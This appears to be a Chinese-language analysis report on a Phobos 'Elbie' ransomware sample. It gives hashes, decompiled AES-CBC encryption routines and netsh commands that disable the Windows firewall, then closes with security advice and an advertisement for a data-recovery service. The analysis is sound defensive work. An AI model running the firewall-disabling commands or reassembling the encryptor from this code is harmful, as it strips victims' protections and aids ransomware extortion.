1.样本信息
| ⽂件名 | Fast【phobos家族Elbie变种加密器】.exe |
|---|---|
| SHA256 | e18d3d15a27ffa48cef12de79ac566bfbd96f6f4a1477e5986bc4a100227d8a3 |
| MD5 | f1ecac228e48c7b9758dacfca9356b1f |
| SHA1 | d9f32b053310a9400fef4d68ae8a8ce70594eaad |
2.感染迹象
文件被加密并重命名如下格式1.png.id[8E1EA49A-3354].[metro777@cock.li].Elbie
防火墙被关闭，利用netsh命令关闭防火墙。
3.加密文件特征
文件被加密并重命名如下格式1.png.id[8E1EA49A-3354].[metro777@cock.li].Elbie
被加密的文件的后8 Byte为固定值。
4.文件加密
int __usercall encode@<eax>(const WCHAR *a1@<edi>, int a2, int a3, const WCHAR *lpFileName, char a5)
{
int FileW; // ebx
DWORD FileAttributesW; // eax
int v7; // eax
LARGE_INTEGER FileSize; // [esp+8h] [ebp-20h] BYREF
LARGE_INTEGER v10; // [esp+10h] [ebp-18h]
DWORD dwFileAttributes; // [esp+1Ch] [ebp-Ch]
DWORD v12; // [esp+20h] [ebp-8h]
int v13; // [esp+24h] [ebp-4h]
v13 = 0;
FileW = (int)CreateFileW(a1, 0x80000000, 7u, 0, 3u, 0, 0);
if ( FileW == -1 )
return v13;
if ( !GetFileSizeEx((HANDLE)FileW, &FileSize) )
goto LABEL_15;
CloseHandle((HANDLE)FileW);
FileW = -1;
v10 = FileSize;
if ( FileSize.QuadPart )
{
FileAttributesW = GetFileAttributesW(a1);
dwFileAttributes = FileAttributesW;
if ( FileAttributesW != -1 )
{
v12 = FileAttributesW & 1;
if ( (FileAttributesW & 1) != 0 )
SetFileAttributesW(a1, FileAttributesW & 0xFFFFFFFE);
v7 = (a5 & 1) != 0 || v10.QuadPart < 0x180000ui64
? sub_408782(a3, a1, lpFileName, a5)
: sub_408C42(a3, a1, lpFileName, a5);
v13 = v7;
if ( v12 )
{
if ( v7 )
{
SetFileAttributesW(lpFileName, dwFileAttributes);
return v13;
}
SetFileAttributesW(a1, dwFileAttributes);
LABEL_15:
if ( FileW != -1 )
CloseHandle((HANDLE)FileW);
}
}
}
return v13;
}
此函数大致逻辑为：
-
函数尝试使用
CreateFileW打开文件，并检查操作是否成功。如果不成功，则返回 -
然后使用
GetFileSizeEx获取文件大小，若文件为空，则关闭句柄并返回 -
使用
GetFileAttributesW检索文件属性，检查文件属性中的只读标志，如果文件是只读的，接下来的代码会使用SetFileAttributesW函数将只读标志清除 -
根据文文件大小是否小于
0x180000，调用sub_408782或sub_408C42函数
此代码通过加密现有文件来创建一个新文件。该函数接受现有文件的文件名、密码和要创建的新文件的文件名称。该函数分块读取现有文件，对每个块进行加密，并将加密的块写入新文件。加密是通过使用密码和文件属性计算哈希值来完成的。哈希值用于对文件数据进行块加密。该函数还将新文件的文件属性设置为与现有文件匹配。
sub_408782函数的关键逻辑如下：
while ( ReadFile(hFile, (LPVOID)a1[8], nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0) )
{
if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
{
dwFlagsAndAttributes = 16 - (nNumberOfBytesToWrite & 0xF);
sub_408FA9(nNumberOfBytesToWrite + a1[8], 0, dwFlagsAndAttributes);
nNumberOfBytesToWrite += dwFlagsAndAttributes;
}
if ( !sub_406432(v16, a1[8], a1[8])
|| !WriteFile(hObject, (LPCVOID)a1[8], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)
|| NumberOfBytesWritten != nNumberOfBytesToWrite )
{
break;
}
if ( nNumberOfBytesToWrite < nNumberOfBytesToRead )
{
v15 = v18;
*v7 = 0;
v14 = v19;
v7[1] = 2;
v13 = (int)v20;
v7[2] = -257466862;
v7[6] = 32;
sub_408FD7(v13, v14, v15);
sub_408FD7(v9, a1 + 1, 20);
sub_408FD7(v9 + 20, a2, 16);
sub_408FD7(v9 + 40, *a1 + 32, 128);
sub_408FD7(v9 + 172, a1 + 6, 6);
v11 = v22;
*((_DWORD *)v9 + 9) = dwFlagsAndAttributes;
*((_DWORD *)v9 + 42) = v11 + 178;
if ( !sub_40669B(v17, *a1, a2) )
{
if ( sub_406432(v17, a1[8], a1[8]) )
{
sub_408FA9(v17, 0, 296);
if ( WriteFile(hObject, (LPCVOID)a1[8], *((_DWORD *)v9 + 42), &NumberOfBytesWritten, 0) )
{
if ( NumberOfBytesWritten == *((_DWORD *)v9 + 42) )
{
if ( (a5 & 4) != 0 )
sub_4086B7(hFile);
if ( (a5 & 2) != 0 )
{
FlushFileBuffers(hFile);
FlushFileBuffers(hObject);
}
v23 = 1;
}
}
}
}
break;
}
}
其中函数sub_406432为加密函数,a2为密钥，通过函数sub_C6669B生成加密需要使用的数据。
加密完文件内容后会加密文件的基础信息，包括文件名等信息，其中，生成密钥的a2也会被加密放入文件末尾，经过动调调试得到，加密文件内容的v16的值与加密文件信息的v17值并不相同。
在此处下断点：
被加密的数据如下：
0348F020 00 00 00 00 02 00 00 00 12 5E A7 F0 79 6F A5 46 .........^.....F
0348F030 37 80 23 35 7A 83 51 3B 20 00 00 00 9E 3F 4F 64 7.#5z.Q; ....?Od
0348F040 43 00 55 00 41 00 73 00 73 00 69 00 73 00 74 00 C.U.A.s.s.i.s.t.
0348F050 61 00 6E 00 74 00 54 00 61 00 73 00 6B 00 2E 00 a.n.t.T.a.s.k...
0348F060 78 00 6D 00 6C 00 00 00 F8 FC 14 D4 F7 93 92 4A x.m.l..........J
其中包括当前文件的文件名CUAssistantTask.xml
查看此函数的其余变量可得到文件路径为C:\Program Files\CUAssistant\CUAssistantTask.xml
a1为结构体，包括加密缓冲区与加密需要的信息。
执行结束后删除源文件。
函数sub_408C42的加密流程与函数sub_408782一致，区别是sub_408C42是部分加密。
加密的核心算法如下，分析为aes_crypt_cbc
int __usercall sub_406A04@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{
_DWORD *v3; // ecx
unsigned int v4; // ebx
_DWORD *v5; // ecx
bool v6; // cc
unsigned int v7; // edx
unsigned int v8; // edi
int v9; // edx
int v11; // [esp+8h] [ebp-18h]
int v12; // [esp+Ch] [ebp-14h]
unsigned int v13; // [esp+10h] [ebp-10h]
unsigned int v14; // [esp+10h] [ebp-10h]
unsigned int v15; // [esp+14h] [ebp-Ch]
unsigned int v16; // [esp+14h] [ebp-Ch]
unsigned int v17; // [esp+14h] [ebp-Ch]
unsigned int v18; // [esp+18h] [ebp-8h]
int v19; // [esp+18h] [ebp-8h]
unsigned int v20; // [esp+1Ch] [ebp-4h]
unsigned int v21; // [esp+28h] [ebp+8h]
unsigned int v22; // [esp+28h] [ebp+8h]
v3 = a3[1];
v20 = *v3 ^ (*a1 | ((a1[1] | (*(a1 + 1) << 8)) << 8));
v18 = v3[1] ^ (a1[4] | ((a1[5] | ((a1[6] | (a1[7] << 8)) << 8)) << 8));
v4 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));
v15 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));
v5 = v3 + 4;
v11 = (*a3 >> 1) - 1;
v6 = v11 <= 0;
while ( !v6 )
{
v21 = v5[1] ^ dword_40D170[v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];
v13 = v5[2] ^ dword_40D170[v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];
v7 = *v5 ^ dword_40D170[v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];
v16 = v5[3] ^ dword_40D170[v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];
v20 = v5[4] ^ dword_40D170[v7] ^ dword_40C570[HIBYTE(v16)] ^ dword_40CD70[BYTE1(v21)] ^ dword_40C970[BYTE2(v13)];
v18 = v5[5] ^ dword_40D170[v21] ^ dword_40C570[HIBYTE(v7)] ^ dword_40CD70[BYTE1(v13)] ^ dword_40C970[BYTE2(v16)];
v4 = v5[6] ^ dword_40D170[v13] ^ dword_40C570[HIBYTE(v21)] ^ dword_40C970[BYTE2(v7)] ^ dword_40CD70[BYTE1(v16)];
v5 += 8;
v6 = --v11 <= 0;
v15 = *(v5 - 1) ^ dword_40D170[v16] ^ dword_40C570[HIBYTE(v13)] ^ dword_40CD70[BYTE1(v7)] ^ dword_40C970[BYTE2(v21)];
}
v22 = v5[1] ^ dword_40D170[v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];
v14 = v5[2] ^ dword_40D170[v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];
v8 = *v5 ^ dword_40D170[v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];
v17 = v5[3] ^ dword_40D170[v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];
v19 = v5[5] ^ byte_40B448[v22] ^ ((byte_40B448[BYTE1(v14)] ^ (((byte_40B448[HIBYTE(v8)] << 8) ^ byte_40B448[BYTE2(v17)]) << 8)) << 8);
v12 = v5[6] ^ byte_40B448[v14] ^ ((byte_40B448[BYTE1(v17)] ^ (((byte_40B448[HIBYTE(v22)] << 8) ^ byte_40B448[BYTE2(v8)]) << 8)) << 8);
v9 = v5[7] ^ byte_40B448[v17] ^ ((byte_40B448[BYTE1(v8)] ^ (((byte_40B448[HIBYTE(v14)] << 8) ^ byte_40B448[BYTE2(v22)]) << 8)) << 8);
*a2 = v5[4] ^ byte_40B448[v8] ^ ((byte_40B448[BYTE1(v22)] ^ (((byte_40B448[HIBYTE(v17)] << 8) ^ byte_40B448[BYTE2(v14)]) << 8)) << 8);
*(a2 + 4) = v19;
*(a2 + 8) = v12;
*(a2 + 11) = HIBYTE(v12);
*(a2 + 12) = v9;
*(a2 + 14) = BYTE2(v9);
*(a2 + 10) = BYTE2(v12);
*(a2 + 15) = HIBYTE(v9);
return 0;
}
int __usercall sub_406F2A@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{
_DWORD *v3; // ecx
int v4; // ebx
unsigned int v5; // edx
_DWORD *v6; // ecx
bool v7; // cc
unsigned int v8; // edx
unsigned int v9; // edi
int v10; // edx
int v11; // ebx
int v13; // [esp+8h] [ebp-18h]
unsigned int v14; // [esp+Ch] [ebp-14h]
int v15; // [esp+Ch] [ebp-14h]
unsigned __int8 v16; // [esp+10h] [ebp-10h]
unsigned int v17; // [esp+10h] [ebp-10h]
unsigned int v18; // [esp+10h] [ebp-10h]
unsigned int v19; // [esp+14h] [ebp-Ch]
unsigned int v20; // [esp+14h] [ebp-Ch]
unsigned int v21; // [esp+18h] [ebp-8h]
unsigned int v22; // [esp+1Ch] [ebp-4h]
int v23; // [esp+1Ch] [ebp-4h]
unsigned int v24; // [esp+28h] [ebp+8h]
unsigned int v25; // [esp+28h] [ebp+8h]
v3 = (_DWORD *)a3[1];
v22 = v3[1] ^ (a1[4] | ((a1[5] | (*((unsigned __int16 *)a1 + 3) << 8)) << 8));
v4 = *v3 ^ (*a1 | ((a1[1] | (*((unsigned __int16 *)a1 + 1) << 8)) << 8));
v21 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));
v5 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));
v6 = v3 + 4;
v14 = v4;
v13 = (*a3 >> 1) - 1;
v7 = v13 <= 0;
while ( 1 )
{
v16 = v5;
if ( v7 )
break;
v24 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];
v19 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];
v8 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];
v17 = v6[3] ^ dword_40C170[v16] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];
v14 = v6[4] ^ dword_40C170[(unsigned __int8)v24] ^ dword_40B548[HIBYTE(v8)] ^ dword_40B948[BYTE2(v19)] ^ dword_40BD70[BYTE1(v17)];
v22 = v6[5] ^ dword_40C170[(unsigned __int8)v8] ^ dword_40B548[HIBYTE(v19)] ^ dword_40BD70[BYTE1(v24)] ^ dword_40B948[BYTE2(v17)];
v4 = v14;
v21 = v6[6] ^ dword_40C170[(unsigned __int8)v19] ^ dword_40B548[HIBYTE(v17)] ^ dword_40B948[BYTE2(v24)] ^ dword_40BD70[BYTE1(v8)];
v6 += 8;
v7 = --v13 <= 0;
v5 = *(v6 - 1) ^ dword_40C170[(unsigned __int8)v17] ^ dword_40B548[HIBYTE(v24)] ^ dword_40B948[BYTE2(v8)] ^ dword_40BD70[BYTE1(v19)];
}
v25 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];
v9 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];
v20 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];
v18 = v6[3] ^ dword_40C170[(unsigned __int8)v5] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];
v15 = v6[4] ^ (unsigned __int8)byte_40D570[*(_BYTE *)v6 ^ LOBYTE(dword_40C170[(unsigned __int8)v4]) ^ LOBYTE(dword_40B548[HIBYTE(v22)]) ^ LOBYTE(dword_40B948[BYTE2(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v18)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v9)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v20)]) << 8)) << 8);
v23 = v6[5] ^ (unsigned __int8)byte_40D570[*((_BYTE *)v6 + 4) ^ LOBYTE(dword_40C170[(unsigned __int8)v22]) ^ LOBYTE(dword_40B548[HIBYTE(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v4)]) ^ LOBYTE(dword_40B948[BYTE2(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v25)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v20)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v18)]) << 8)) << 8);
v10 = v6[6] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v20] ^ (((unsigned __int8)byte_40D570[BYTE1(v9)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v18)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v25)]) << 8)) << 8);
v11 = v6[7] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v18] ^ (((unsigned __int8)byte_40D570[BYTE1(v20)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v25)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v9)]) << 8)) << 8);
*(_DWORD *)a2 = v15;
*(_WORD *)(a2 + 4) = v23;
*(_BYTE *)(a2 + 7) = HIBYTE(v23);
*(_BYTE *)(a2 + 9) = BYTE1(v10);
*(_BYTE *)(a2 + 10) = BYTE2(v10);
*(_WORD *)(a2 + 12) = v11;
*(_BYTE *)(a2 + 8) = v10;
*(_BYTE *)(a2 + 14) = BYTE2(v11);
*(_BYTE *)(a2 + 15) = HIBYTE(v11);
*(_BYTE *)(a2 + 6) = BYTE2(v23);
*(_BYTE *)(a2 + 11) = HIBYTE(v10);
return 0;
}
int __cdecl sub_407447(_DWORD *a1, int a2, _BYTE *a3, _DWORD *a4)
{
int v4; // ecx
char *v5; // eax
unsigned int v7; // ebx
_BYTE *v8; // eax
int v9; // esi
int v10; // ebx
_DWORD *v11; // esi
_BYTE *v12; // eax
int v13; // ecx
_DWORD *v14; // esi
bool v15; // zf
int v16; // [esp+0h] [ebp-18h]
int v17; // [esp+4h] [ebp-14h]
int v18; // [esp+8h] [ebp-10h]
int v19; // [esp+Ch] [ebp-Ch]
int v20; // [esp+10h] [ebp-8h]
unsigned int v21; // [esp+10h] [ebp-8h]
int *v22; // [esp+14h] [ebp-4h]
v5 = (char *)(a1 + 2);
if ( (v4 & 0xF) != 0 )
return -34;
if ( a2 )
{
if ( v4 )
{
v10 = v5 - a3;
v21 = ((unsigned int)(v4 - 1) >> 4) + 1;
do
{
v11 = a4;
v12 = a3;
v13 = 16;
do
{
v12[(char *)a4 - a3] = *v12 ^ v12[v10];
++v12;
--v13;
}
while ( v13 );
if ( a2 == 1 )
sub_406A04(a1);
else
sub_406F2A(a1);
a3 += 16;
a4 += 4;
a1[2] = *v11;
v14 = v11 + 1;
a1[3] = *v14++;
a1[4] = *v14;
v10 -= 16;
v15 = v21-- == 1;
a1[5] = v14[1];
}
while ( !v15 );
}
}
else if ( v4 )
{
v22 = (int *)a3;
v20 = v5 - (char *)a4;
v7 = ((unsigned int)(v4 - 1) >> 4) + 1;
do
{
v16 = *v22;
v17 = v22[1];
v18 = v22[2];
v19 = v22[3];
sub_406F2A(a1);
v8 = a4;
v9 = 16;
do
{
*v8 ^= v8[v20];
++v8;
--v9;
}
while ( v9 );
v22 += 4;
v20 -= 16;
--v7;
a1[2] = v16;
a1[3] = v17;
a1[4] = v18;
a1[5] = v19;
a4 = v8;
}
while ( v7 );
}
return 0;
}
上述代码可以解释为：
int aes_crypt_cbc( aes_context *ctx,
int mode,
const unsigned char iv[16],
const unsigned char *input,
unsigned char *output,
unsigned int length )
{
int i;
unsigned char temp[16];
if( length % 16 )
return( POLARSSL_ERR_AES_INVALID_INPUT_LENGTH );
# 510 "aes.c"
if( mode == AES_DECRYPT )
{
while( length > 0 )
{
memcpy( temp, input, 16 );
aes_crypt_ecb( ctx, AES_DECRYPT, input, output );
for( i = 0; i < 16; i++ )
output[i] = (unsigned char)( output[i] ^ iv[i] );
memcpy( iv, temp, 16 );
input += 16;
output += 16;
length -= 16;
}
}
else
{
while( length > 0 )
{
for( i = 0; i < 16; i++ )
output[i] = (unsigned char)( input[i] ^ iv[i] );
aes_crypt_ecb( ctx, AES_ENCRYPT, output, output );
memcpy( iv, output, 16 );
input += 16;
output += 16;
length -= 16;
}
}
return( 0 );
}
使用AES算法在CBC模式下对输入数据进行加密。
在函数sub_40646A生成AES算法中所需的S-Box、Rcon（轮常数）和变换表的函数。
int sub_40646A()
{
int v0; // ecx
int v1; // ebx
int v2; // eax
int v3; // eax
int *v4; // ecx
int v5; // eax
int v6; // ecx
int v7; // edx
int v8; // eax
int v9; // ecx
int v10; // eax
int v11; // edi
int v12; // edx
int v13; // eax
int v14; // ecx
int v15; // eax
int v16; // eax
int v17; // edx
int v18; // edx
int v19; // edx
int v20; // eax
int result; // eax
int v22[255]; // [esp+Ch] [ebp-80Ch]
char v23[40]; // [esp+408h] [ebp-410h]
int v24; // [esp+430h] [ebp-3E8h]
int v25; // [esp+438h] [ebp-3E0h]
int v26; // [esp+440h] [ebp-3D8h]
int v27; // [esp+444h] [ebp-3D4h]
int v28; // [esp+80Ch] [ebp-Ch]
int v29; // [esp+810h] [ebp-8h]
int v30; // [esp+814h] [ebp-4h]
v0 = 0;
v1 = 1;
v2 = 1;
do
{
v22[v0] = v2;
*(_DWORD *)&v23[4 * v2 + 4] = v0;
v2 = (unsigned __int8)((2 * v2) ^ ((char)(v2 & 0x80) != 0 ? 0x1B : 0) ^ v2);
++v0;
}
while ( v0 < 256 );
v3 = 1;
v4 = &dword_40BD48;
do
{
*v4++ = v3;
v3 = (unsigned __int8)(((char)(v3 & 0x80) != 0 ? 0x1B : 0) ^ (2 * v3));
}
while ( (int)v4 < (int)dword_40BD70 );
byte_40B448[0] = 99;
byte_40D5D3 = 0;
do
{
v5 = *(_DWORD *)&v23[-4 * *(_DWORD *)&v23[4 * v1 + 4]];
v6 = (unsigned __int8)((2 * v5) | (v5 >> 7));
v7 = (unsigned __int8)((2 * v6) | (v6 >> 7));
v8 = v7 ^ v6 ^ v5;
v9 = (unsigned __int8)((2 * v7) | (v7 >> 7));
v10 = (unsigned __int8)((2 * v9) | (v9 >> 7)) ^ 0x63 ^ v9 ^ v8;
byte_40B448[v1] = v10;
byte_40D570[v10] = v1++;
}
while ( v1 < 256 );
v11 = 0;
do
{
v12 = (unsigned __int8)byte_40B448[v11];
v13 = (unsigned __int8)((2 * v12) ^ ((char)(byte_40B448[v11] & 0x80) != 0 ? 0x1B : 0)) ^ ((v12 ^ ((v12 ^ ((v12 ^ (unsigned __int8)((2 * v12) ^ ((char)(byte_40B448[v11] & 0x80) != 0 ? 0x1B : 0))) << 8)) << 8)) << 8);
v14 = v11;
dword_40D170[v11] = v13;
v15 = __ROL4__(v13, 8);
dword_40CD70[v11] = v15;
v16 = __ROL4__(v15, 8);
dword_40C970[v11] = v16;
dword_40C570[v11] = __ROL4__(v16, 8);
if ( byte_40D570[v11] )
v30 = v22[(v27 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];
else
v30 = 0;
if ( byte_40D570[v11] )
v28 = v22[(v24 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];
else
v28 = 0;
if ( byte_40D570[v11] )
v29 = v22[(v26 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];
else
v29 = 0;
if ( byte_40D570[v11] )
v17 = v22[(v25 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];
else
v17 = 0;
v18 = v30 ^ ((v28 ^ ((v29 ^ (v17 << 8)) << 8)) << 8);
++v11;
dword_40C170[v14] = v18;
v19 = __ROL4__(v18, 8);
dword_40BD70[v14] = v19;
v20 = __ROL4__(v19, 8);
dword_40B948[v14] = v20;
result = __ROL4__(v20, 8);
dword_40B548[v14] = result;
}
while ( v11 < 256 );
return result;
}
5.其余行为
5.1自拷贝
程序会将自身拷贝到系统关键目录。
5.2文件释放
释放了2个文件info.txt和info.hta，均为勒索信息。
5.3关闭防火墙
执行了下列2个语句。
netsh advfirewall set currentprofile state off
netsh firewall set opmode mode=disable
6.安全建议
6.1 风险消减措施
资产梳理排查目标:根据实际情况，对内外网资产进行分时期排查
服务方式:调研访谈、现场勘查、工具扫描
服务关键内容：流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查
6.2 安全设备调优
目标
通过对安全现状的梳理和分析，识别安全策略上的不足，结合目标防御、权限最小化、缩小攻击面等一系列参考原则，对设备的相关配置策略进行改进调优，一方面，减低无效或低效规则的出现频次；另一方面，对缺失或遗漏的规则进行补充，实现将安全设备防护能力最优化。
主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。
6.3 全员安全意识增强调优
目标：
通过网络安全意识宣贯、培训提升全方位安全能力
形式：
培训及宣贯
线下培训课表
若无法组织线下的集体培训，考虑两种方式:
1.提供相关的安全意识培训材料，由上而下分发学习
2.组织相关人员线上开会学习。线上培训模式。
线上学习平台
7.团队介绍
团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS（信息技术服务运行维护标准四级）等认证，已构建了网络安全行业合格的资质体系；
8.我们的数据恢复服务流程
多年的数据恢复处理经验，在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。
① 免费咨询/数据诊断分析
专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后，您可自主选择以下下单方式：
双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。
数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。
⑤ 数据验收/安全防御方案
完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。
客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。
